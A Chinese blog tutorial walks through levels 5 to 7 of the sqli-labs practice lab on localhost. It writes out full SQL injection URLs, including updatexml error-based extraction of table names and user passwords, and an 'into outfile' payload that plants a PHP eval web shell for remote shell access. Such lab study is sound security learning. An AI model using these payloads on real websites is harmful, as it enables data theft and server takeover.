sqli-lab靶场学习(二)——Less5-7(updatexml、outfile)

Less5

尝试单引号闭合:

http://localhost/sqli-labs/Less-5/?id=1'

发现报错,存在注入,我们尝试通过and 1=1,and 1=2确定是否是单引号闭合:

http://localhost/sqli-labs/Less-5/?id=1' and 1=2 -- asd

因为1=2的条件为假所以查询不到数据,返回无。然后尝试1=1:

http://localhost/sqli-labs/Less-5/?id=1' and 1=1 -- asd

有显示,证明这关就是单引号注入。

接着通过order by确定列数,同样当我们输入到order by 4时:

http://localhost/sqli-labs/Less-5/?id=1' order by 4 -- asd

 显示没有第4列,证明查询只有3列。如果按照之前的联合注入方法:

http://localhost/sqli-labs/Less-5/?id=1' union select 1,2,3 -- asd

问题是没有数据回显!显然不能通过联合注入解决。这里我们用到一个新的方法updatexml。updatexml在数据库中如何使用,在本文的后面再举例。本关的特点是报错会回显,所以可以利用updatexml的报错来把我们需要的信息神奇地通过报错回显出来。

比如要得到当前数据库:

http://localhost/sqli-labs/Less-5/?id=1' and updatexml('1',concat('~',database(),'~'),'1')  -- asd

通过拼接得到报错,就可以回显所属数据库是security。接着使用updatexml,沿着前面的套路把表薅出来:

http://localhost/sqli-labs/Less-5/?id=1' and updatexml('1',concat('~',(select table_name from information_schema.tables where table_schema=database() limit 0,1),'~'),'1')  -- asd

第一个表是email,我们修改limit一个一个来,到3时: 

http://localhost/sqli-labs/Less-5/?id=1' and updatexml('1',concat('~',(select table_name from information_schema.tables where table_schema=database() limit 3,1),'~'),'1')  -- asd

users表呼之欲出。接着就是找列名,在4、5时找到对应的username和password:

http://localhost/sqli-labs/Less-5/?id=1' and updatexml('1',concat('~',(select column_name from information_schema.columns where table_name='users' limit 4,1),'~'),'1')  -- asd

http://localhost/sqli-labs/Less-5/?id=1' and updatexml('1',concat('~',(select column_name from information_schema.columns where table_name='users' limit 5,1),'~'),'1')  -- asd

 之后就可以一个一个把用户名密码薅出来:

http://localhost/sqli-labs/Less-5/?id=1' and updatexml('1',concat('~',(select username from security.users limit 0,1),'~'),'1')  -- asd
http://localhost/sqli-labs/Less-5/?id=1' and updatexml('1',concat('~',(select password from security.users limit 0,1),'~'),'1')  -- asd

 

 (上下两图是两张图,第一个用户账号名和密码相同罢了)

Less6

尝试单引号闭合:

http://localhost/sqli-labs/Less-6/?id=1'

结果是正常的。那就试下双引号:

http://localhost/sqli-labs/Less-6/?id=1" 

就发现报错了,看来是用双引号闭合。接着重复Less5的套路即可。

Less7 

第七关输入id=1之后:

http://localhost/sqli-labs/Less-7/?id=1

页面提示我们用outputfile进行处理。 暂时不予理会,先用单引号闭合:

http://localhost/sqli-labs/Less-7/?id=1'

报错了,还是两个括号,那我们加入两个括号:

http://localhost/sqli-labs/Less-7/?id=1')) -- asd

我们想起用之前的updatexml大法:

http://localhost/sqli-labs/Less-7/?id=1')) and updatexml('1',concat('~',database(),'~'),'1')  -- asd

可以获得数据库名,也可以获得表名、用户名。密码:

http://localhost/sqli-labs/Less-7/?id=1')) and updatexml('1',concat('~',(select table_name from information_schema.tables where table_schema=database() limit 0,1),'~'),'1')  -- asd

http://localhost/sqli-labs/Less-7/?id=1')) and updatexml('1',concat('~',(select username from users limit 0,1),'~'),'1')  -- asd

但是根据题目要求,要我们用outfile,所以还是要通过outfile:

http://localhost/sqli-labs/Less-7/?id=1')) union select 1,"<?php eval($_REQUEST[1])?>",3 into outfile "D://phpstudy_pro//WWW//sqli-labs//Less-7//test.php" -- asd

这里要确保你的路径是能写入的,并且my.ini配置文件要配置secure_file_priv="/"

执行后会报错:

但是去对应的目录下发现已经生成了:

 

之后通过中国蚁剑添加这个php脚本,利用eval漏洞即可获取shell:

小结

本文主要讲updatexml和outfile在sql注入中的应用。由于这几关没有sql正确时的回显,只能利用错误回显,所以要使用updatexml。可以看到靶场每一关的难度在逐步加大,这个过程中也能学习到很多安全相关知识和工具的使用。

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值